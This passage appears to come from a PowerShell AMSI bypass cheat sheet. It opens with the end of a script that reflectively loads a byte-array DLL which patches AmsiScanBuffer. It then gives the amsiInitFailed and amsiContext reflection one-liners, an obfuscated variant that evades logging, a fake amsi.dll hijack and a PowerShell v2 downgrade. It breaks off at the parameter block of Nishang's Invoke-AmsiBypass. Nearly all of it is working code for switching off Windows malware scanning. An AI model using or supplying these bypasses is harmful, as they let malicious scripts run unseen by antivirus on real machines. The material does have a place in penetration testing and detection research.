0, 0, 3, 0, 85, 3, 2, 0, 4, 0, 55, 3, 0, 0, 1, 0, 110, 3, 0, 0, 2, 0, 119, 0, 0, 0,
3, 0, 9, 2, 9, 0, 142, 2, 1, 0, 17, 0, 142, 2, 6, 0, 25, 0, 142, 2, 10, 0, 41, 0,
142, 2, 16, 0, 49, 0, 142, 2, 16, 0, 57, 0, 142, 2, 16, 0, 65, 0, 142, 2, 16, 0, 73,
0, 142, 2, 16, 0, 81, 0, 142, 2, 16, 0, 89, 0, 142, 2, 16, 0, 105, 0, 142, 2, 6, 0,
121, 0, 137, 2, 35, 0, 121, 0, 162, 3, 38, 0, 129, 0, 184, 0, 44, 0, 137, 0, 98, 3,
49, 0, 153, 0, 115, 3, 54, 0, 177, 0, 51, 2, 62, 0, 177, 0, 131, 3, 67, 0, 121, 0,
125, 2, 76, 0, 97, 0, 142, 2, 6, 0, 46, 0, 11, 0, 126, 0, 46, 0, 19, 0, 135, 0, 46,
0, 27, 0, 166, 0, 46, 0, 35, 0, 175, 0, 46, 0, 43, 0, 230, 0, 46, 0, 51, 0, 246, 0,
46, 0, 59, 0, 1, 1, 46, 0, 67, 0, 14, 1, 46, 0, 75, 0, 230, 0, 46, 0, 83, 0, 230, 0,
99, 0, 91, 0, 25, 1, 1, 0, 3, 0, 0, 0, 4, 0, 21, 0, 1, 0, 72, 2, 0, 1, 3, 0, 136, 3,
1, 0, 0, 1, 5, 0, 23, 3, 1, 0, 0, 1, 7, 0, 70, 3, 1, 0, 0, 1, 9, 0, 148, 3, 2, 0,
100, 44, 0, 0, 1, 0, 4, 128, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 12, 3,
0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 82, 0, 123, 0, 0, 0, 0, 0, 4, 0, 3, 0, 0,
0, 0, 0, 0, 107, 101, 114, 110, 101, 108, 51, 50, 0, 95, 95, 83, 116, 97, 116, 105,
99, 65, 114, 114, 97, 121, 73, 110, 105, 116, 84, 121, 112, 101, 83, 105, 122, 101,
61, 51, 0, 60, 77, 111, 100, 117, 108, 101, 62, 0, 60, 80, 114, 105, 118, 97, 116,
101, 73, 109, 112, 108, 101, 109, 101, 110, 116, 97, 116, 105, 111, 110, 68, 101,
116, 97, 105, 108, 115, 62, 0, 53, 49, 67, 65, 70, 66, 52, 56, 49, 51, 57, 66, 48,
50, 69, 48, 54, 49, 68, 52, 57, 49, 57, 67, 53, 49, 55, 54, 54, 50, 49, 66, 70, 56,
55, 68, 65, 67, 69, 68, 0, 115, 114, 99, 0, 110, 101, 116, 115, 116, 97, 110, 100,
97, 114, 100, 0, 82, 117, 110, 116, 105, 109, 101, 70, 105, 101, 108, 100, 72, 97,
110, 100, 108, 101, 0, 67, 111, 110, 115, 111, 108, 101, 0, 104, 77, 111, 100, 117,

108, 101, 0, 112, 114, 111, 99, 78, 97, 109, 101, 0, 110, 97, 109, 101, 0, 87, 114,
105, 116, 101, 76, 105, 110, 101, 0, 86, 97, 108, 117, 101, 84, 121, 112, 101, 0, 67,
111, 109, 112, 105, 108, 101, 114, 71, 101, 110, 101, 114, 97, 116, 101, 100, 65,
116, 116, 114, 105, 98, 117, 116, 101, 0, 68, 101, 98, 117, 103, 103, 97, 98, 108,
101, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 65, 115, 115, 101, 109, 98, 108,
121, 84, 105, 116, 108, 101, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 84, 97,
114, 103, 101, 116, 70, 114, 97, 109, 101, 119, 111, 114, 107, 65, 116, 116, 114,
105, 98, 117, 116, 101, 0, 65, 115, 115, 101, 109, 98, 108, 121, 70, 105, 108, 101,
86, 101, 114, 115, 105, 111, 110, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 65,
115, 115, 101, 109, 98, 108, 121, 73, 110, 102, 111, 114, 109, 97, 116, 105, 111,
110, 97, 108, 86, 101, 114, 115, 105, 111, 110, 65, 116, 116, 114, 105, 98, 117, 116,
101, 0, 65, 115, 115, 101, 109, 98, 108, 121, 67, 111, 110, 102, 105, 103, 117, 114,
97, 116, 105, 111, 110, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 67, 111, 109,
112, 105, 108, 97, 116, 105, 111, 110, 82, 101, 108, 97, 120, 97, 116, 105, 111, 110,
115, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0, 65, 115, 115, 101, 109, 98, 108,
121, 80, 114, 111, 100, 117, 99, 116, 65, 116, 116, 114, 105, 98, 117, 116, 101, 0,
65, 115, 115, 101, 109, 98, 108, 121, 67, 111, 109, 112, 97, 110, 121, 65, 116, 116,
114, 105, 98, 117, 116, 101, 0, 82, 117, 110, 116, 105, 109, 101, 67, 111, 109, 112,
97, 116, 105, 98, 105, 108, 105, 116, 121, 65, 116, 116, 114, 105, 98, 117, 116, 101,
0, 66, 121, 116, 101, 0, 100, 119, 83, 105, 122, 101, 0, 115, 105, 122, 101, 0, 83,
121, 115, 116, 101, 109, 46, 82, 117, 110, 116, 105, 109, 101, 46, 86, 101, 114, 115,
105, 111, 110, 105, 110, 103, 0, 80, 97, 116, 99, 104, 0, 65, 109, 115, 105, 0, 65,
108, 108, 111, 99, 72, 71, 108, 111, 98, 97, 108, 0, 77, 97, 114, 115, 104, 97, 108,
0, 107, 101, 114, 110, 101, 108, 51, 50, 46, 100, 108, 108, 0, 65, 109, 115, 105, 66,
121, 112, 97, 115, 115, 46, 100, 108, 108, 0, 83, 121, 115, 116, 101, 109, 0, 83,
121, 115, 116, 101, 109, 46, 82, 101, 102, 108, 101, 99, 116, 105, 111, 110, 0, 111,
112, 95, 65, 100, 100, 105, 116, 105, 111, 110, 0, 90, 101, 114, 111, 0, 46, 99, 116,
111, 114, 0, 85, 73, 110, 116, 80, 116, 114, 0, 83, 121, 115, 116, 101, 109, 46, 68,
105, 97, 103, 110, 111, 115, 116, 105, 99, 115, 0, 83, 121, 115, 116, 101, 109, 46,
82, 117, 110, 116, 105, 109, 101, 46, 73, 110, 116, 101, 114, 111, 112, 83, 101, 114,
118, 105, 99, 101, 115, 0, 83, 121, 115, 116, 101, 109, 46, 82, 117, 110, 116, 105,
109, 101, 46, 67, 111, 109, 112, 105, 108, 101, 114, 83, 101, 114, 118, 105, 99, 101,
115, 0, 68, 101, 98, 117, 103, 103, 105, 110, 103, 77, 111, 100, 101, 115, 0, 82,
117, 110, 116, 105, 109, 101, 72, 101, 108, 112, 101, 114, 115, 0, 65, 109, 115, 105,
66, 121, 112, 97, 115, 115, 0, 71, 101, 116, 80, 114, 111, 99, 65, 100, 100, 114,
101, 115, 115, 0, 108, 112, 65, 100, 100, 114, 101, 115, 115, 0, 79, 98, 106, 101,
99, 116, 0, 108, 112, 102, 108, 79, 108, 100, 80, 114, 111, 116, 101, 99, 116, 0, 86,
105, 114, 116, 117, 97, 108, 80, 114, 111, 116, 101, 99, 116, 0, 102, 108, 78, 101,
119, 80, 114, 111, 116, 101, 99, 116, 0, 111, 112, 95, 69, 120, 112, 108, 105, 99,
105, 116, 0, 100, 101, 115, 116, 0, 73, 110, 105, 116, 105, 97, 108, 105, 122, 101,
65, 114, 114, 97, 121, 0, 67, 111, 112, 121, 0, 76, 111, 97, 100, 76, 105, 98, 114,
97, 114, 121, 0, 82, 116, 108, 77, 111, 118, 101, 77, 101, 109, 111, 114, 121, 0,
111, 112, 95, 69, 113, 117, 97, 108, 105, 116, 121, 0, 0, 0, 0, 17, 97, 0, 109, 0,
115, 0, 105, 0, 46, 0, 100, 0, 108, 0, 108, 0, 0, 87, 69, 0, 82, 0, 82, 0, 79, 0, 82,
0, 58, 0, 32, 0, 67, 0, 111, 0, 117, 0, 108, 0, 100, 0, 32, 0, 110, 0, 111, 0, 116,
0, 32, 0, 114, 0, 101, 0, 116, 0, 114, 0, 105, 0, 101, 0, 118, 0, 101, 0, 32, 0, 97,
0, 109, 0, 115, 0, 105, 0, 46, 0, 100, 0, 108, 0, 108, 0, 32, 0, 112, 0, 111, 0, 105,
0, 110, 0, 116, 0, 101, 0, 114, 0, 33, 0, 0, 29, 65, 0, 109, 0, 115, 0, 105, 0, 83,
0, 99, 0, 97, 0, 110, 0, 66, 0, 117, 0, 102, 0, 102, 0, 101, 0, 114, 0, 0, 117, 69,
0, 82, 0, 82, 0, 79, 0, 82, 0, 58, 0, 32, 0, 67, 0, 111, 0, 117, 0, 108, 0, 100, 0,
32, 0, 110, 0, 111, 0, 116, 0, 32, 0, 114, 0, 101, 0, 116, 0, 114, 0, 105, 0, 101, 0,
118, 0, 101, 0, 32, 0, 65, 0, 109, 0, 115, 0, 105, 0, 83, 0, 99, 0, 97, 0, 110, 0,
66, 0, 117, 0, 102, 0, 102, 0, 101, 0, 114, 0, 32, 0, 102, 0, 117, 0, 110, 0, 99, 0,
116, 0, 105, 0, 111, 0, 110, 0, 32, 0, 112, 0, 111, 0, 105, 0, 110, 0, 116, 0, 101,
0, 114, 0, 33, 0, 0, 117, 69, 0, 82, 0, 82, 0, 79, 0, 82, 0, 58, 0, 32, 0, 67, 0,
111, 0, 117, 0, 108, 0, 100, 0, 32, 0, 110, 0, 111, 0, 116, 0, 32, 0, 109, 0, 111, 0,
100, 0, 105, 0, 102, 0, 121, 0, 32, 0, 65, 0, 109, 0, 115, 0, 105, 0, 83, 0, 99, 0,
97, 0, 110, 0, 66, 0, 117, 0, 102, 0, 102, 0, 101, 0, 114, 0, 32, 0, 109, 0, 101, 0,
109, 0, 111, 0, 114, 0, 121, 0, 32, 0, 112, 0, 101, 0, 114, 0, 109, 0, 105, 0, 115,

0, 115, 0, 105, 0, 111, 0, 110, 0, 115, 0, 33, 0, 0, 83, 71, 0, 114, 0, 101, 0, 97,
0, 116, 0, 32, 0, 115, 0, 117, 0, 99, 0, 99, 0, 101, 0, 115, 0, 115, 0, 46, 0, 32, 0,
65, 0, 109, 0, 115, 0, 105, 0, 83, 0, 99, 0, 97, 0, 110, 0, 66, 0, 117, 0, 102, 0,
102, 0, 101, 0, 114, 0, 32, 0, 112, 0, 97, 0, 116, 0, 99, 0, 104, 0, 101, 0, 100, 0,
33, 0, 32, 0, 58, 0, 41, 0, 0, 0, 0, 0, 94, 196, 134, 67, 207, 43, 76, 71, 180, 110,
209, 17, 221, 107, 164, 138, 0, 4, 32, 1, 1, 8, 3, 32, 0, 1, 5, 32, 1, 1, 17, 17, 4,
32, 1, 1, 14, 13, 7, 10, 24, 24, 25, 9, 29, 5, 24, 2, 8, 2, 2, 2, 6, 24, 5, 0, 2, 2,
24, 24, 4, 0, 1, 1, 14, 4, 0, 1, 25, 11, 7, 0, 2, 1, 18, 81, 17, 85, 4, 0, 1, 24, 8,
8, 0, 4, 1, 29, 5, 8, 24, 8, 5, 0, 2, 24, 24, 8, 8, 204, 123, 19, 255, 205, 45, 221,
81, 3, 6, 17, 16, 4, 0, 1, 24, 14, 5, 0, 2, 24, 24, 14, 8, 0, 4, 2, 24, 25, 9, 16, 9,
6, 0, 3, 1, 24, 24, 8, 3, 0, 0, 8, 8, 1, 0, 8, 0, 0, 0, 0, 0, 30, 1, 0, 1, 0, 84, 2,
22, 87, 114, 97, 112, 78, 111, 110, 69, 120, 99, 101, 112, 116, 105, 111, 110, 84,
104, 114, 111, 119, 115, 1, 8, 1, 0, 7, 1, 0, 0, 0, 0, 54, 1, 0, 25, 46, 78, 69, 84,
83, 116, 97, 110, 100, 97, 114, 100, 44, 86, 101, 114, 115, 105, 111, 110, 61, 118,
50, 46, 48, 1, 0, 84, 14, 20, 70, 114, 97, 109, 101, 119, 111, 114, 107, 68, 105,
115, 112, 108, 97, 121, 78, 97, 109, 101, 0, 15, 1, 0, 10, 65, 109, 115, 105, 66,
121, 112, 97, 115, 115, 0, 0, 10, 1, 0, 5, 68, 101, 98, 117, 103, 0, 0, 12, 1, 0, 7,
49, 46, 48, 46, 48, 46, 48, 0, 0, 10, 1, 0, 5, 49, 46, 48, 46, 48, 0, 0, 4, 1, 0, 0,
0, 0, 0, 0, 0, 0, 0, 32, 92, 168, 168, 0, 1, 77, 80, 2, 0, 0, 0, 100, 0, 0, 0, 128,
43, 0, 0, 128, 13, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 19, 0, 0, 0, 39, 0, 0,
0, 228, 43, 0, 0, 228, 13, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 16, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 82, 83, 68, 83, 215, 18, 206, 3, 139, 112, 185, 73,
189, 89, 99, 32, 233, 159, 0, 221, 1, 0, 0, 0, 47, 111, 112, 116, 47, 80, 114, 111,
106, 101, 99, 116, 115, 47, 65, 109, 115, 105, 66, 121, 112, 97, 115, 115, 47, 65,
109, 115, 105, 66, 121, 112, 97, 115, 115, 47, 111, 98, 106, 47, 68, 101, 98, 117,
103, 47, 110, 101, 116, 115, 116, 97, 110, 100, 97, 114, 100, 50, 46, 48, 47, 65,
109, 115, 105, 66, 121, 112, 97, 115, 115, 46, 112, 100, 98, 0, 83, 72, 65, 50, 53,
54, 0, 215, 18, 206, 3, 139, 112, 185, 169, 125, 89, 99, 32, 233, 159, 0, 221, 32,
92, 168, 40, 54, 252, 229, 155, 150, 128, 72, 101, 126, 213, 146, 143, 51, 44, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 77, 44, 0, 0, 0, 32, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 63, 44, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 95, 67, 111,
114, 68, 108, 108, 77, 97, 105, 110, 0, 109, 115, 99, 111, 114, 101, 101, 46, 100,
108, 108, 0, 0, 0, 0, 0, 0, 255, 37, 0, 32, 0, 16, 49, 255, 144, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 16, 0,
0, 0, 24, 0, 0, 128, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 1, 0, 0, 0, 48,
0, 0, 128, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 1, 0, 0, 0, 0, 0, 72, 0, 0, 0,
88, 64, 0, 0, 212, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 212, 2, 52, 0, 0, 0, 86, 0, 83,
0, 95, 0, 86, 0, 69, 0, 82, 0, 83, 0, 73, 0, 79, 0, 78, 0, 95, 0, 73, 0, 78, 0, 70,
0, 79, 0, 0, 0, 0, 0, 189, 4, 239, 254, 0, 0, 1, 0, 0, 0, 1, 0, 0, 0, 0, 0, 0, 0, 1,
0, 0, 0, 0, 0, 63, 0, 0, 0, 0, 0, 0, 0, 4, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 68, 0, 0, 0, 1, 0, 86, 0, 97, 0, 114, 0, 70, 0, 105, 0, 108, 0, 101,
0, 73, 0, 110, 0, 102, 0, 111, 0, 0, 0, 0, 0, 36, 0, 4, 0, 0, 0, 84, 0, 114, 0, 97,
0, 110, 0, 115, 0, 108, 0, 97, 0, 116, 0, 105, 0, 111, 0, 110, 0, 0, 0, 0, 0, 0, 0,
176, 4, 52, 2, 0, 0, 1, 0, 83, 0, 116, 0, 114, 0, 105, 0, 110, 0, 103, 0, 70, 0, 105,
0, 108, 0, 101, 0, 73, 0, 110, 0, 102, 0, 111, 0, 0, 0, 16, 2, 0, 0, 1, 0, 48, 0, 48,

```
0, 48, 0, 48, 0, 48, 0, 52, 0, 98, 0, 48, 0, 0, 0, 54, 0, 11, 0, 1, 0, 67, 0, 111, 0,
109, 0, 112, 0, 97, 0, 110, 0, 121, 0, 78, 0, 97, 0, 109, 0, 101, 0, 0, 0, 0, 0, 65,
0, 109, 0, 115, 0, 105, 0, 66, 0, 121, 0, 112, 0, 97, 0, 115, 0, 115, 0, 0, 0, 0, 0,
62, 0, 11, 0, 1, 0, 70, 0, 105, 0, 108, 0, 101, 0, 68, 0, 101, 0, 115, 0, 99, 0, 114,
0, 105, 0, 112, 0, 116, 0, 105, 0, 111, 0, 110, 0, 0, 0, 0, 0, 65, 0, 109, 0, 115, 0,
105, 0, 66, 0, 121, 0, 112, 0, 97, 0, 115, 0, 115, 0, 0, 0, 0, 0, 48, 0, 8, 0, 1, 0,
70, 0, 105, 0, 108, 0, 101, 0, 86, 0, 101, 0, 114, 0, 115, 0, 105, 0, 111, 0, 110, 0,
0, 0, 0, 0, 49, 0, 46, 0, 48, 0, 46, 0, 48, 0, 46, 0, 48, 0, 0, 0, 62, 0, 15, 0, 1,
0, 73, 0, 110, 0, 116, 0, 101, 0, 114, 0, 110, 0, 97, 0, 108, 0, 78, 0, 97, 0, 109,
0, 101, 0, 0, 0, 65, 0, 109, 0, 115, 0, 105, 0, 66, 0, 121, 0, 112, 0, 97, 0, 115, 0,
115, 0, 46, 0, 100, 0, 108, 0, 108, 0, 0, 0, 0, 0, 40, 0, 2, 0, 1, 0, 76, 0, 101, 0,
103, 0, 97, 0, 108, 0, 67, 0, 111, 0, 112, 0, 121, 0, 114, 0, 105, 0, 103, 0, 104, 0,
116, 0, 0, 0, 32, 0, 0, 0, 70, 0, 15, 0, 1, 0, 79, 0, 114, 0, 105, 0, 103, 0, 105, 0,
110, 0, 97, 0, 108, 0, 70, 0, 105, 0, 108, 0, 101, 0, 110, 0, 97, 0, 109, 0, 101, 0,
0, 0, 65, 0, 109, 0, 115, 0, 105, 0, 66, 0, 121, 0, 112, 0, 97, 0, 115, 0, 115, 0,
46, 0, 100, 0, 108, 0, 108, 0, 0, 0, 0, 0, 54, 0, 11, 0, 1, 0, 80, 0, 114, 0, 111, 0,
100, 0, 117, 0, 99, 0, 116, 0, 78, 0, 97, 0, 109, 0, 101, 0, 0, 0, 0, 0, 65, 0, 109,
0, 115, 0, 105, 0, 66, 0, 121, 0, 112, 0, 97, 0, 115, 0, 115, 0, 0, 0, 0, 0, 48, 0,
6, 0, 1, 0, 80, 0, 114, 0, 111, 0, 100, 0, 117, 0, 99, 0, 116, 0, 86, 0, 101, 0, 114,
0, 115, 0, 105, 0, 111, 0, 110, 0, 0, 0, 49, 0, 46, 0, 48, 0, 46, 0, 48, 0, 0, 0, 56,
0, 8, 0, 1, 0, 65, 0, 115, 0, 115, 0, 101, 0, 109, 0, 98, 0, 108, 0, 121, 0, 32, 0,
86, 0, 101, 0, 114, 0, 115, 0, 105, 0, 111, 0, 110, 0, 0, 0, 49, 0, 46, 0, 48, 0, 46,
0, 48, 0, 46, 0, 48, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 32,
0, 0, 12, 0, 0, 0, 96, 60, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0)) |
    Out-Null;
    Write-Output "DLL has been reflected";
  }
  [Bypass.AMSI]::Patch();
}
MyPatch;
Start-Sleep 1;
```

Using Matt Graebers Reflection method

```
[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFa
iled','NonPublic,Static').SetValue($null,$true)
```

Using Matt Graebers Reflection method with WMF5 autologging bypass

```
[Delegate]::CreateDelegate(("Func``3[String,
$([[String].Assembly.GetType('System.Reflection.Bindin'+'gFlags')).FullName),
System.Reflection.FieldInfo]" -as [String].Assembly.GetType('System.T'+'ype')),
[Object]([Ref].Assembly.GetType('System.Management.Automation.AmsiUtils')),
('GetFie'+'ld')).Invoke('amsiInitFailed',(('Non'+'Public,Static') -as
[String].Assembly.GetType('System.Reflection.Bindin'+'gFlags'))).SetValue($null,$True
)
```

Using Matt Graebers second Reflection method

```
[Runtime.InteropServices.Marshal]::WriteInt32([Ref].Assembly.GetType('System.Manageme
nt.Automation.AmsiUtils').GetField('amsiContext',
[Reflection.BindingFlags]'NonPublic,Static').GetValue($null),0x41414141)
```

Using Cornelis de Plaas DLL hijack method

```
[Byte[]] $temp = $DllBytes -split ' '
Write-Output "Executing the bypass."
Write-Verbose "Dropping the fake amsi.dll to disk."
[System.IO.File]::WriteAllBytes("$pwd\amsi.dll", $temp)

Write-Verbose "Copying powershell.exe to the current working directory."
Copy-Item -Path C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe -
Destination $pwd

Write-Verbose "Starting powershell.exe from the current working directory."
& "$pwd\powershell.exe"
```

Using PowerShell version 2

```
if ($ShowOnly -eq $True)
{
        Write-Output "If .Net version 2.0.50727 is installed, run powershell -v 2 and
run scripts from the new PowerShell process."
}
else
```

```
{
        Write-Verbose "Checking if .Net version 2.0.50727 is installed."
        $versions = Get-ChildItem 'HKLM:\SOFTWARE\Microsoft\NET Framework Setup\NDP'
-recurse | Get-ItemProperty -name Version -EA 0 | Where { $_.PSChildName -match
'^(?!S)\p{L}'} | Select -ExpandProperty Version
    if($versions -match "2.0.50727")
    {
            Write-Verbose ".Net version 2.0.50727 found."
            Write-Output "Executing the bypass."
            powershell.exe -version 2
    }
    else
    {
            Write-Verbose ".Net version 2.0.50727 not found. Can't start PowerShell
v2."
    }
}
```

Nishang all in one

```
function Invoke-AmsiBypass
{
<#
.SYNOPSIS
Nishang script which uses publicly known methods to bypass/avoid AMSI.

.DESCRIPTION
This script implements publicly known methods bypass or avoid AMSI on Windows
machines.

AMSI is a script malware detection mechanism enabled by default in Windows 10.
(https://msdn.microsoft.com/en-us/library/windows/desktop/dn889587(v=vs.85).aspx)

This script implements 6 methods of bypassing AMSI.
unload - Method by Matt Graeber. Unloads AMSI from current PowerShell session.
unload2 - Another method by Matt Graeber. Unloads AMSI from current PowerShell
session.
unloadsilent - Another method by Matt Graeber. Unloads AMSI and avoids WMF5
autologging.
unloadobfuscated - 'unload' method above obfuscated with Daneil Bohannon's Invoke-
Obfuscation - which avoids WMF5 autologging.
dllhijack - Method by Cornelis de Plaa. The amsi.dll used in the code is from
p0wnedshell (https://github.com/Cn33liz/p0wnedShell)
psv2 - If .net 2.0.50727 is available on Windows 10. PowerShell v2 is launched which
doesn't support AMSI.

The script also provides information on tools which can be used for obfuscation:
ISE-Steroids (http://www.powertheshell.com/isesteroidsmanual/download/)
Invoke-Obfuscation (https://github.com/danielbohannon/Invoke-Obfuscation)

.PARAMETER Method
The method to be used for elevation. Defaut one is unloadsilent.

.PARAMETER ShowOnly
The bypass is not executed. Just shown to the user.
```

```
.EXAMPLE
PS > Invoke-AmsiBypass -Verbose
Above command runs the unloadsilent method.

.EXAMPLE
PS > Invoke-PsUACme -Method unloadobfuscated -Verbose
Above command runs the unloadobfuscated method.

.LINK
http://www.labofapenetrationtester.com/2016/09/amsi.html
https://github.com/samratashok/nishang
#>


    [CmdletBinding()] Param(

        [Parameter(Position = 0, Mandatory = $False)]

[ValidateSet("unload","unloadsilent","unloadobfuscated","unload2","dllhijack","psv2",
"obfuscation")]
        [String]
        $Method = "unloadsilent",

        [Parameter(Position = 1, Mandatory = $False)]
        [Switch]
        $ShowOnly
    )

